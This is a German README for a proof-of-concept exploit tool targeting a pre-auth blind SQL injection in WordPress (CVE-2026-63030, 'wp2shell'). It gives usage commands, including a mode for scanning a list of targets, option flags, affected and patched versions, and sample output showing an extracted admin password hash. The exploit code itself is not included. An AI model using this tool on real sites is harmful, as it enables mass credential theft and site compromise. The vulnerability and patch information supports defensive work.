CVE-2026-63030: wp2shell

WordPress Batch API Desynchronisation SQL-Injection-Exploit

Proof-of-Concept-Tool zur Extraktion von Benutzern und Passwort-Hashes über die Schwachstelle CVE-2026-63030 (wp2shell).

---

Schwachstelleninformationen

• CVE: CVE-2026-63030 (wp2shell)
• Begleit-CVE: CVE-2026-60137
• Typ: Pre-Auth Blind SQL Injection
• Betroffen: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1
• Behoben: 6.9.5, 7.0.2+

---

Verwendung

python POC.py <target_url> [options]

Grundlegende Verwendung

python POC.py --rest-route http://target.com

---

Optionen

Argument	Beschreibung	Standard
target	Einzelne Ziel-URL	-
-l, --list	Datei mit Liste von Zielen (eine pro Zeile)	-
--prefix	Datenbanktabellen-Präfix	wp_
--rest-route	?rest_route= verwenden	Deaktiviert
--timeout	Request-Timeout (Sekunden)	30
--proxy	HTTP-Proxy (Burp/ZAP-kompatibel)	Keine
--max-len	Maximale Extraktionslänge	255

---

Beispielausgabe:

[*] Scanning: http://127.0.0.1/
[*] 1 users found
[+] ID:1 User:admin Hash:$wp$2y$10$Z6gwPduKb7wAbm0bHht1be7SxrgbyxgnbPmTVcVz9nP1KBX811xQy
[*] Requests: 553

---

Referenzen

• Penligent Analysis - CVE-2026-63030 wp2shell
• Rapid7 Labs - CVE-2026-63030: wp2shell a Critical Remote Code Execution Vulnerability in WordPress Core
• WordPress 7.0.2 Security Release